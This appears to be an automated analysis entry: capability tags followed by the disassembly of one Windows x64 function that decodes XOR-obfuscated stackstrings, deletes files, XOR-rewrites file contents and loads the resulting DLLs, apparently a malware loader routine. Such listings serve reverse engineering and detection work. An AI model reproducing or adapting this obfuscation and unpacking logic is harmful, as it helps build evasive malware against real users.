Function at 0x140026ce0
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x2b0
mov rax, qword [0x1401973d0]
xor rax, rsp
mov qword [rsp + 0x2a8], rax
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x140027996
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1f0], rax
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279a1
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1e8], rax
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279ac
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1e0], rax
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279b7
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1d0], rax
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279c2
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x1d8], rax
mov eax, 0xe
mov dword [rsp + 0xe0], eax
mov dword [rsp + 0xe4], 0x4a001d
mov dword [rsp + 0xe8], 0x480066
mov dword [rsp + 0xec], 0x510059
mov dword [rsp + 0xf0], 0x6f0058
mov dword [rsp + 0xf4], 0x2e0032
mov dword [rsp + 0xf8], 0x310025
mov dword [rsp + 0xfc], 0x280025
mov dword [rsp + 0x100], 0x46
xor r14d, r14d
mov edx, r14d
test eax, eax
je 0x140026e51
mov eax, edx
lea rcx, [rsp + 0xe4]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0xe0]
cmp edx, eax
jb 0x140026e30
mov word [rsp + rax*2 + 0xe4], r14w
mov r8, qword [0x1401a6c00]
lea rdx, [rsp + 0xe4]
lea rcx, [rsp + 0x1d8]
call fcn.14000cb80
mov r15, qword [rsp + 0x1d8]
lea rcx, [r15 - 0x18]
call fcn.14000c810
add rax, 0x18
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x190]
call fcn.140003220
mov dword [rsp + 0x40], 0xb
mov dword [rsp + 0x44], 0x500054
mov dword [rsp + 0x48], 0x580058
mov dword [rsp + 0x4c], 0x4f0049
mov dword [rsp + 0x50], 0x110052
mov dword [rsp + 0x54], 0x2d0024
mov dword [rsp + 0x58], 0x43002e
mov edx, r14d
nop dword [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x44]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x40]
cmp edx, eax
jb 0x140026ee0
mov word [rsp + rax*2 + 0x44], r14w
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279cd
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x288], rax
lea rax, [rsp + 0x44]
cmp rax, 0x10000
lea rax, [rsp + 0x44]
jae 0x140026f4f
movzx edx, ax
lea rcx, [rsp + 0x288]
call fcn.14000c690
mov r13, 0xffffffffffffffff
jmp 0x140026f7e
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140026f60
lea rdx, [rsp + 0x44]
lea rcx, [rsp + 0x288]
call fcn.14000c910
nop
mov ebx, 0xc
mov eax, ebx
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x74], 0x500054
mov dword [rsp + 0x78], 0x5e0058
mov dword [rsp + 0x7c], 0x44005d
mov dword [rsp + 0x80], 0xd000d
mov dword [rsp + 0x84], 0x25006e
mov dword [rsp + 0x88], 0x2f002e
mov dword [rsp + 0x8c], 0x44
xor r8d, r8d
mov edx, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x74]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x70]
cmp edx, eax
jb 0x140026fe0
mov word [rsp + rax*2 + 0x74], r8w
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279d8
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x290], rax
lea rax, [rsp + 0x74]
cmp rax, 0x10000
lea rax, [rsp + 0x74]
jae 0x140027048
movzx edx, ax
lea rcx, [rsp + 0x290]
call fcn.14000c690
jmp 0x14002706e
mov r8, r13
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140027050
lea rdx, [rsp + 0x74]
lea rcx, [rsp + 0x290]
call fcn.14000c910
nop
mov eax, ebx
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x94], 0x4a004b
mov dword [rsp + 0x98], 0x5e0056
mov dword [rsp + 0x9c], 0x44005d
mov dword [rsp + 0xa0], 0xd000d
mov dword [rsp + 0xa4], 0x25006e
mov dword [rsp + 0xa8], 0x2f002e
mov dword [rsp + 0xac], 0x44
xor r8d, r8d
mov edx, r8d
nop word [rax + rax]
mov eax, edx
lea rcx, [rsp + 0x94]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x90]
cmp edx, eax
jb 0x1400270d0
mov word [rsp + rax*2 + 0x94], r8w
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279e3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x298], rax
lea rax, [rsp + 0x94]
cmp rax, 0x10000
lea rax, [rsp + 0x94]
jae 0x140027147
movzx edx, ax
lea rcx, [rsp + 0x298]
call fcn.14000c690
jmp 0x140027171
mov r8, r13
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140027150
lea rdx, [rsp + 0x94]
lea rcx, [rsp + 0x298]
call fcn.14000c910
nop
mov dword [rsp + 0xb0], ebx
mov dword [rsp + 0xb4], 0x550042
mov dword [rsp + 0xb8], 0x590053
mov dword [rsp + 0xbc], 0x5c004b
mov dword [rsp + 0xc0], 0x56004e
mov dword [rsp + 0xc4], 0x25006e
mov dword [rsp + 0xc8], 0x2f002e
mov dword [rsp + 0xcc], 0x44
xor r14d, r14d
mov edx, r14d
nop dword [rax + rax]
mov eax, edx
lea rcx, [rsp + 0xb4]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov ebx, dword [rsp + 0xb0]
cmp edx, ebx
jb 0x1400271d0
mov word [rsp + rbx*2 + 0xb4], r14w
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279ee
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x2a0], rax
lea rax, [rsp + 0xb4]
cmp rax, 0x10000
lea rax, [rsp + 0xb4]
jae 0x140027247
movzx edx, ax
lea rcx, [rsp + 0x2a0]
call fcn.14000c690
jmp 0x140027271
mov r8, r13
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140027250
lea rdx, [rsp + 0xb4]
lea rcx, [rsp + 0x2a0]
call fcn.14000c910
nop
mov dword [rsp + 0x130], 0x11
mov dword [rsp + 0x134], 0x4a001d
mov dword [rsp + 0x138], 0x480066
mov dword [rsp + 0x13c], 0x510059
mov dword [rsp + 0x140], 0x6f0058
mov dword [rsp + 0x144], 0x2e0032
mov dword [rsp + 0x148], 0x310025
mov dword [rsp + 0x14c], 0x280025
mov dword [rsp + 0x150], 0x2e001a
mov dword [rsp + 0x154], 0x490024
mov edx, r14d
mov eax, edx
lea rcx, [rsp + 0x134]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x130]
cmp edx, eax
jb 0x1400272e2
mov word [rsp + rax*2 + 0x134], r14w
mov r8, qword [0x1401a6c00]
lea rdx, [rsp + 0x134]
lea rcx, [rsp + 0x1f0]
call fcn.14000cb80
mov eax, 0x12
mov dword [rsp + 0x158], eax
mov dword [rsp + 0x15c], 0x4a001d
mov dword [rsp + 0x160], 0x480066
mov dword [rsp + 0x164], 0x510059
mov dword [rsp + 0x168], 0x6f0058
mov dword [rsp + 0x16c], 0x2e0032
mov dword [rsp + 0x170], 0x310025
mov dword [rsp + 0x174], 0x280025
mov dword [rsp + 0x178], 0x2e001a
mov dword [rsp + 0x17c], 0x3a0024
mov dword [rsp + 0x180], 0x4a
mov edx, r14d
test eax, eax
je 0x1400273d1
nop dword [rax]
mov eax, edx
lea rcx, [rsp + 0x15c]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x158]
cmp edx, eax
jb 0x1400273b0
mov word [rsp + rax*2 + 0x15c], r14w
mov r8, qword [0x1401a6c00]
lea rdx, [rsp + 0x15c]
lea rcx, [rsp + 0x1e8]
call fcn.14000cb80
mov dword [rsp + 0x108], 0xf
mov dword [rsp + 0x10c], 0x4a001d
mov dword [rsp + 0x110], 0x480066
mov dword [rsp + 0x114], 0x510059
mov dword [rsp + 0x118], 0x6f0058
mov dword [rsp + 0x11c], 0x2e0032
mov dword [rsp + 0x120], 0x310025
mov dword [rsp + 0x124], 0x280025
mov dword [rsp + 0x128], 0x47001a
xor ebx, ebx
mov edx, ebx
nop dword [rax]
mov eax, edx
lea rcx, [rsp + 0x10c]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x108]
cmp edx, eax
jb 0x140027460
mov word [rsp + rax*2 + 0x10c], bx
mov r8, qword [0x1401a6c00]
lea rdx, [rsp + 0x10c]
lea rcx, [rsp + 0x1e0]
call fcn.14000cb80
movdqa xmm0, xmmword [0x14017c6c0]
movdqu xmmword [rsp + 0x1c0], xmm0
mov r12, rbx
mov qword [rsp + 0x188], rbx
mov rdi, qword [rsp + 0x1f0]
mov r14, qword [rsp + 0x1e8]
mov rsi, qword [rsp + 0x1e0]
nop dword [rax]
cmp r12, 4
jae 0x1400277d9
mov dword [rsp + 0x60], 5
mov dword [rsp + 0x64], 0x4a001d
mov dword [rsp + 0x68], 0x1e0066
mov dword [rsp + 0x6c], 0x3d004f
mov edx, ebx
nop dword [rax]
mov eax, edx
lea rcx, [rsp + 0x64]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x60]
cmp edx, eax
jb 0x140027510
mov word [rsp + rax*2 + 0x64], bx
mov r9, qword [rsp + r12*8 + 0x288]
mov r8, rsi
lea rdx, [rsp + 0x64]
lea rcx, [rsp + 0x1d0]
call fcn.14000cb80
lea rdx, [rsp + 0x1f8]
mov rbx, qword [rsp + 0x1d0]
mov rcx, rbx
call fcn.14012e5a0
mov eax, dword [rsp + 0x20c]
cmp dword [rsp + r12*4 + 0x1c0], eax
je 0x14002757f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, 2
mov rcx, rbx
call fcn.140125278
test eax, eax
je 0x1400277c3
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x1b0], rax
mov eax, 4
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x24], 0x56005b
mov dword [rsp + 0x28], 0x5e0048
mov dword [rsp + 0x2c], 0x3c
xor r8d, r8d
mov edx, r8d
test eax, eax
je 0x1400275eb
nop
mov eax, edx
lea rcx, [rsp + 0x24]
lea rcx, [rcx + rax*2]
lea eax, [rdx + 0x38]
xor word [rcx], ax
inc edx
mov eax, dword [rsp + 0x20]
cmp edx, eax
jb 0x1400275d0
mov word [rsp + rax*2 + 0x24], r8w
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x1400279f9
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0x24]
cmp rax, 0x10000
lea rax, [rsp + 0x24]
jae 0x140027638
movzx edx, ax
lea rcx, [rsp + 0xd0]
call fcn.14000c690
jmp 0x14002765e
mov r8, r13
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140027640
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0xd0]
call fcn.14000c910
nop
lea rcx, [rdi - 0x18]
call fcn.14000c810
add rax, 0x18
mov qword [rsp + 0x198], rax
lea r8, [rsp + 0xd0]
lea rcx, [rsp + 0x198]
call fcn.140003ca0
lea rdx, [0x14016e258]
mov rcx, rdi
call fcn.14012cde0
mov r13, rax
lea rdx, [0x14016e260]
mov rcx, r14
call fcn.14012cde0
mov r12, rax
test r13, r13
je 0x1400276fe
test rax, rax
je 0x1400276f6
lea rdx, [rsp + 0x228]
mov rcx, rdi
call fcn.14012e5a0
movsxd rbx, dword [rsp + 0x23c]
test rbx, rbx
je 0x1400276ee
mov rcx, r13
call fcn.14012f394
xor al, 0x10
movsx ecx, al
mov rdx, r12
call fcn.14012f7a0
sub rbx, 1
jne 0x1400276d3
mov rcx, r12
call fcn.14012cf70
mov rcx, r13
call fcn.14012cf70
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x1b8], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x1b0], rax
call fcn.14000fb60
mov rcx, rax
test rax, rax
je 0x140027a03
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xd8], rax
lea rax, [0x14016b98e]
lea rcx, [rsp + 0xd8]
cmp rax, 0x10000
jae 0x140027762
movzx edx, ax
call fcn.14000c690
jmp 0x14002776b
mov rdx, rax
call fcn.140009650
nop
lea rcx, [rsi - 0x18]
call fcn.14000c810
add rax, 0x18
mov qword [rsp + 0x1a0], rax
lea rcx, [r14 - 0x18]
call fcn.14000c810
add rax, 0x18
mov qword [rsp + 0x1a8], rax
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x1a8]
call fcn.140003e20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov r12, qword [rsp + 0x188]
inc r12
mov qword [rsp + 0x188], r12
xor ebx, ebx
lea r13, [rbx - 1]
jmp 0x1400274e0
mov rdi, rbx
nop dword [rax]
cmp rdi, 4
jae 0x14002788e
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x34], 0x4a001d
mov dword [rsp + 0x38], 0x1e0066
mov dword [rsp + 0x3c], 0x3d004f
mov eax, ebx
nop dword [rax]
mov ecx, eax
lea rdx, [rsp + 0x34]
lea rdx, [rdx + rcx*2]
lea ecx, [rax + 0x38]
xor word [rdx], cx
inc eax
mov ecx, dword [rsp + 0x30]
cmp eax, ecx
jb 0x140027810
mov word [rsp + rcx*2 + 0x34], bx
mov r9, qword [rsp + rdi*8 + 0x288]
mov r8, rsi
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x1d0]
call fcn.14000cb80
lea rdx, [rsp + 0x258]
mov rbx, qword [rsp + 0x1d0]
mov rcx, rbx
call fcn.14012e5a0
mov eax, dword [rsp + 0x26c]
cmp dword [rsp + rdi*4 + 0x1c0], eax
jne 0x140027884
xor edx, edx
lea r8d, [rdx + 8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
inc rdi
xor ebx, ebx
jmp 0x1400277e0
jmp 0x14002789f
lea r9, [fcn.140009770]
mov edx, 8
lea r8d, [rdx - 4]
lea rcx, [rsp + 0x288]
call fcn.14011e6d4
nop
lea rdx, [r15 - 0x18]
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400278d8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x1d0]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400278fb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x1e0]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14002791e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x1e8]
add rdx, 0xffffffffffffffe8
mov eax, r13d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140027941
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0x1f0]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], r13d
sub r13d, 1
jg 0x140027962
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov al, 1
mov rcx, qword [rsp + 0x2a8]
xor rcx, rsp
call fcn.14011e030
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
nop
mov ecx, 0x80004005
call fcn.14000fc90
mov ecx, 0x80004005
call fcn.14000fc90
int3